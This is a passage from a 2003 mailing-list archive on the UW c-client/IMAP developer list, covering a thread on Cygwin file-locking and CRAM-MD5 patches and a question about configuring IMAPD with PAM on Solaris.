(8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LDVPtX015456; Tue, 21 Oct 2003 06:31:25 -0700 Message-Id: Date: Tue, 21 Oct 2003 06:31:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Abe Backus Cc: c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Oct 2003, Abe Backus wrote: > 1) the flock simulator for cygwin in flockcyg.c has the same limitations as > the flock simulator for NT, so the code should only lock on one byte in the > file. This is a bug in Cygwin. UNIX locks (either fcntl() or flock() are not mandatory). > 2) CRAM-MD5 wasn't working on cygwin How can that code work without doing the impersonate? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Oct 21 09:00:49 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 09:00:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LG0mlU009217 for ; Tue, 21 Oct 2003 09:00:48 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LG0kqm025653 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 09:00:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9LG0avE021042; Tue, 21 Oct 2003 09:00:36 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LFxVfc043284 for ; Tue, 21 Oct 2003 08:59:31 -0700 Received: from dragon.ti.com (news.ti.com [192.94.94.33]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LFxTTO000580 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 21 Oct 2003 08:59:30 -0700 Received: from dlep52.itg.ti.com ([157.170.134.103]) by dragon.ti.com (8.12.10/8.12.10) with ESMTP id h9LFxPVL001790 for ; Tue, 21 Oct 2003 10:59:25 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.10/8.12.10) with ESMTP id h9LFxNJf015114 for ; Tue, 21 Oct 2003 10:59:24 -0500 (CDT) Received: from mbwin (mbwin.ffab.tide.ti.com [137.167.218.59]) by ffab.tide.ti.com (8.12.9/8.12.9) with SMTP id h9LFxNvH028147 for ; Tue, 21 Oct 2003 17:59:23 +0200 (MEST) Message-Id: <000a01c397ec$5addb0a0$3bdaa789@ffab.tide.ti.com> Date: Tue, 21 Oct 2003 17:59:05 +0200 Reply-To: "Martynas Buozis" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Martynas Buozis" To: Subject: IMAPD with PAM under Solaris MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_113F_01C397FD.047DA8D0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='HTML_50_70, PRIORITY_NO_NAME, SUPERLONG_LINE, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_113F_01C397FD.047DA8D0 Content-Type: text/plain; charset="iso-8859-4" Content-Transfer-Encoding: quoted-printable Hello I have compiled IMAPD with PAM support under Solaris using command line = "make sol SSLTYPE=3Dunix.nopwd PASSWDTYPE=3Dpmb", also included these = configuration lines in /etc/pam.conf : imapd auth sufficient /usr/lib/security/$ISA/pam_unix.so.1 debug imapd auth required /usr/lib/security/$ISA/pam_krb5.so.1 debug = try_first_pass I also tried use imaps (like services name in /etc/services and = /etc/inetd.conf) instead imapd in pam.conf, but it looks like IMAPD is = ignoring these lines. I truss'ed program and found, that it always uses = pam_unix module, but never pam_krb5. What services name should I use for = IMAPD in /etc/pam.conf ? I do not want add pam_krb5 to other or login = services names in /etc/pam.conf. Same IMAPD without PASSWDDTYPE=3Dpmb is working, looks like pam_unix is = also working (probbaly under services name OTHER or LOGIN in = /etc/pam.conf?), pam_krb5 is working for ssh without problmes under same = configuration. Thank you for your tips and help in advance. With best regards Martynas ------=_NextPart_000_113F_01C397FD.047DA8D0 Content-Type: text/html; charset="iso-8859-4" Content-Transfer-Encoding: quoted-printable
    Hello
     
    I have compiled IMAPD with PAM support = under=20 Solaris using command line "make = sol=20 SSLTYPE=3Dunix.nopwd PASSWDTYPE=3Dpmb", also included these = configuration lines in=20 /etc/pam.conf :
     
    imapd   auth sufficient=20 /usr/lib/security/$ISA/pam_unix.so.1 debug
    imapd   auth=20 required   /usr/lib/security/$ISA/pam_krb5.so.1 debug=20 try_first_pass
     
    I also tried use imaps (like services = name in=20 /etc/services and /etc/inetd.conf) instead imapd in pam.conf, but it = looks like=20 IMAPD is ignoring these lines. I truss'ed program and found, that it = always uses=20 pam_unix module, but never pam_krb5. What services name should I = use for=20 IMAPD in /etc/pam.conf ? I do not want add pam_krb5 to other or login = services=20 names in /etc/pam.conf.
     
    Same IMAPD without PASSWDDTYPE=3Dpmb is = working,=20 looks like pam_unix is also working (probbaly under services name OTHER = or LOGIN=20 in /etc/pam.conf?), pam_krb5 is working for ssh without problmes under = same=20 configuration.
     
    Thank you for your tips and help in=20 advance.
     
    With best regards
    Martynas
     
    ------=_NextPart_000_113F_01C397FD.047DA8D0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Oct 21 16:16:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 16:16:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNGZlU029906 for ; Tue, 21 Oct 2003 16:16:35 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNGXOA021064 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 16:16:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9LNGQSa028398; Tue, 21 Oct 2003 16:16:27 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNEofc074380 for ; Tue, 21 Oct 2003 16:14:50 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNEnTO024187 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 21 Oct 2003 16:14:49 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNEmOA020999 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Oct 2003 16:14:48 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNEkaZ002370; Tue, 21 Oct 2003 16:14:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9LNEkSS026883 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 21 Oct 2003 16:14:46 -0700 Message-Id: Date: Tue, 21 Oct 2003 16:14:46 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Abe Backus Cc: c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Oct 2003, Abe Backus wrote: > 1) the flock simulator for cygwin in flockcyg.c has the same limitations as > the flock simulator for NT, so the code should only lock on one byte in the > file. The person that brought this to my attention would prefer that the > code lock the last possible byte in the file. I have accepted this change, but to lock the first byte of the file. I do not believe that it is safe to lock a non-existant byte of a file, since we have no way of knowing if future changes to Cygwin or Windows would break that. Arguably, the real bug is in Cygwin's implementation of fcntl() locks. Cygwin is evidentally calling LockFileEx() on Windows directly, without attempting to implement the correct fcntl() semantics. In one case, this is a good thing -- it doesn't implement the fcntl() design flaw that requires all that flocksim master/slave hackery -- but in this case it is not a good thing. I'm not convinced that Cygwin should use the UNIX version of c-client instead of the native Windows version. > 2) CRAM-MD5 wasn't working on cygwin I don't see how it can work either. Those logon/impersonate calls are necessary to get access to the user files. Removing those calls in the CRAM-MD5 case has the effect of leaving the IMAP server running as SYSTEM, which IMHO is not a good thing. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Oct 21 21:12:43 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 21:12:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M4CglU006248 for ; Tue, 21 Oct 2003 21:12:42 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M4CeOA028982 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 21:12:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9M4CZvE037746; Tue, 21 Oct 2003 21:12:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M4BZfc059352 for ; Tue, 21 Oct 2003 21:11:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M4BYpX032661 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 21 Oct 2003 21:11:34 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M4BWql017396; Tue, 21 Oct 2003 21:11:33 -0700 Received: from goedel.math.washington.edu (goedel.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.12.9/8.12.9) with ESMTP id h9M4BWOx514776; Tue, 21 Oct 2003 21:11:32 -0700 (PDT) Message-Id: Date: Tue, 21 Oct 2003 21:11:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Mark Crispin Cc: Abe Backus , c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Mark Crispin (MRC@CAC.Washington.EDU) wrote today: :) On Tue, 21 Oct 2003, Abe Backus wrote: :) > 1) the flock simulator for cygwin in flockcyg.c has the same :) > limitations as the flock simulator for NT, so the code should only :) > lock on one byte in the file. The person that brought this to my :) > attention would prefer that the code lock the last possible byte :) > in the file. :) :) I have accepted this change, but to lock the first byte of the file. :) I do not believe that it is safe to lock a non-existant byte of a file, :) since we have no way of knowing if future changes to Cygwin or Windows :) would break that. :) :) Arguably, the real bug is in Cygwin's implementation of fcntl() locks. :) Cygwin is evidentally calling LockFileEx() on Windows directly, without :) attempting to implement the correct fcntl() semantics. In one case, :) this is a good thing -- it doesn't implement the fcntl() design flaw :) that requires all that flocksim master/slave hackery -- but in this :) case it is not a good thing. :) :) I'm not convinced that Cygwin should use the UNIX version of c-client :) instead of the native Windows version. Hi Mark, One question, though. If your hunch is correct, I see that LockFileEx is only implemented on Windows NT, 2000 and XP, so how does this patch work in Windows 98? I have no way of testing this now, but if someone has tested/can test this change in Windows 9X, I would be grateful for a report. I am particularly interested in seeing how this code works when one attempts to save a message to the same folder that it belongs, and how it works with mbx style folders. It is my own personal belief that Mark is right, and Cygwin c-client should use the windows code directly, instead of the unix code. Maybe we could try to do this instead? What do you think Abraham? Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Tue Oct 21 22:08:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Oct 2003 22:08:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M586lU007938 for ; Tue, 21 Oct 2003 22:08:06 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M584OA030256 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 21 Oct 2003 22:08:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9M57wvE020752; Tue, 21 Oct 2003 22:07:58 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M52Ffc057274 for ; Tue, 21 Oct 2003 22:02:15 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M52EpX008997 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 21 Oct 2003 22:02:14 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M52DOA030100 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 21 Oct 2003 22:02:13 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M52BMk001906; Tue, 21 Oct 2003 22:02:12 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9M52B97028046; Tue, 21 Oct 2003 22:02:11 -0700 Message-Id: Date: Tue, 21 Oct 2003 22:02:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eduardo Chappa Cc: Abe Backus , c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Oct 2003, Eduardo Chappa wrote: > One question, though. If your hunch is correct, I see that LockFileEx is > only implemented on Windows NT, 2000 and XP, so how does this patch work > in Windows 98? There is no such thing as meaningful file locking in Windows 98. Win98 is not a real operating system. But it is also very doubtful that one is going to be running IMAP servers on Windows 98; or multiple instances of Pine on the same mailbox. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 22 08:19:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 08:19:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MFJIlU028372 for ; Wed, 22 Oct 2003 08:19:18 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MFJGOA012830 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 08:19:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MFJCvE021174; Wed, 22 Oct 2003 08:19:12 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MFI4fc071744 for ; Wed, 22 Oct 2003 08:18:04 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MFI2pX008737 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 08:18:03 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MFI1O9012778; Wed, 22 Oct 2003 08:18:01 -0700 Received: from goedel.math.washington.edu (goedel.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.12.9/8.12.9) with ESMTP id h9MFI0Ox516040; Wed, 22 Oct 2003 08:18:00 -0700 (PDT) Message-Id: Date: Wed, 22 Oct 2003 08:18:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Mark Crispin Cc: Abe Backus , c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Mark Crispin (mrc@CAC.Washington.EDU) wrote on Oct 21, 2003: :) On Tue, 21 Oct 2003, Eduardo Chappa wrote: :) > One question, though. If your hunch is correct, I see that :) > LockFileEx is only implemented on Windows NT, 2000 and XP, so how :) > does this patch work in Windows 98? :) :) There is no such thing as meaningful file locking in Windows 98. :) Win98 is not a real operating system. :) :) But it is also very doubtful that one is going to be running IMAP :) servers on Windows 98; or multiple instances of Pine on the same :) mailbox. Hi Mark, I agree with your first statement, but not the second one. There is no way I can predict what a user will do when using Pine, and you must know very well that ignoring a possible case is one of the main reasons why users report bugs, so I would like to offer a full featured (or as much complete as possible) software for people in Cygwin. This means that if they want simultaneous access to a mailbox, they'll need to get it if the format of the mailbox allows it. I see no reason why PC-Pine and Cygwin Pine could not be exchanged one for the other. I believe it's a priority to offer access to mbx folders to any user of Pine/imapd/popXd, for any version of Windows, and that's the trick that must be done. So my question still stands, does this patch work for Windowx 9X?, can anyone confirm or deny this? Thank you, Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Wed Oct 22 10:01:15 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 10:01:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MH1FlU000700 for ; Wed, 22 Oct 2003 10:01:15 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MH1Dqm004892 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 10:01:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MH0iXU094846; Wed, 22 Oct 2003 10:00:44 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MGxZfc029454 for ; Wed, 22 Oct 2003 09:59:35 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MGxXTO008038 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 09:59:34 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MGxWqm004795 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Oct 2003 09:59:33 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MGxQ0Y028364; Wed, 22 Oct 2003 09:59:26 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MGxQXM012334; Wed, 22 Oct 2003 09:59:26 -0700 Message-Id: Date: Wed, 22 Oct 2003 09:59:26 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eduardo Chappa Cc: Abe Backus , c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Oct 2003, Eduardo Chappa wrote: > There is no > way I can predict what a user will do when using Pine, and you must know > very well that ignoring a possible case is one of the main reasons why > users report bugs, so I would like to offer a full featured (or as much > complete as possible) software for people in Cygwin. This means that if > they want simultaneous access to a mailbox, they'll need to get it if the > format of the mailbox allows it. Once again... Simultaneous access in the mbx format requires meaningful file locking. There is no such thing as meaningful file locking in Windows 98. Windows 98 is not a real operating system. Nor are Windows 95, Windows Me, Windows 3.1, MS-DOS, Mac OS 9 (and earlier), etc. If you wish to have real operating system services, then you must run a real operating system. Windows NT, 2000, and XP are real operating systems. UNIX and its variants are real operating systems. Mac OS X is a real operating system. Cygwin is not a real operating system either. It is one of long series of similar products (e.g. Yale Tools, Mint, MachTen, MKS Toolkit) which provide UNIX-like library calls and compiler semantics on a different operating system (in this case, Windows). However, like all these other products, it is (and always will be) an incomplete compromise. In some cases, it will provide the service by translating the call to a similar call on the host operating system. In other cases, it must implement that service as best it can within its own environment. And in still other cases, it has to punt and provide methods into the host environment (such as the interface into the Windows concepts of logon and impersonate). Cygwin apparently implements fcntl() locking via the Windows LockFileEx() call. This implementation is *NOT* correct for UNIX, but it is close. One of these implementation bugs is a good thing, the other is not; hence the special handling required for Cygwin. LockFileEx() does not exist on the MS-DOS based versions of Windows (3.1, 95, 98, Me). If you use one of those systems, you have to live with the fact that you don't have meaningful locking. Life is tough. > I see no reason why PC-Pine and Cygwin > Pine could not be exchanged one for the other. Any favorable interaction between PC Pine and a UNIX Pine built under Cygwin is completely coincidental and is not (nor ever will be) guaranteed. This is the price that you pay for using a kludge that hacks one operating system's semantics on top of another. They may be extremely useful kludges, but they are (and always will be) limited. Most people who use such things understand these limitations. On top of that, you are expecting services out of the MS-DOS versions of Windows that do not exist. > I believe it's a priority to offer access to mbx folders to any user of > Pine/imapd/popXd, for any version of Windows, and that's the trick that > must be done. It may be a priority for you. It is not for me; and quite frankly it is a pipe-dream. The MS-DOS versions of Windows do not have the capabilities necessary to performs mbx-style shared access. The MS-DOS versions of Windows are dead products, and never will have those capabilities. Nor do I want to waste much more of my time having to explain this to you. > So my question still stands, does this patch work for Windowx 9X?, can > anyone confirm or deny this? The question is meaningless. There is no "works for Windows 9x" in the sense of "operates with the full functionality of modern systems." -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 22 10:53:32 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 10:53:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MHrWlU002930 for ; Wed, 22 Oct 2003 10:53:32 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MHrUOA018515 (version=TLSv1/SSLv3 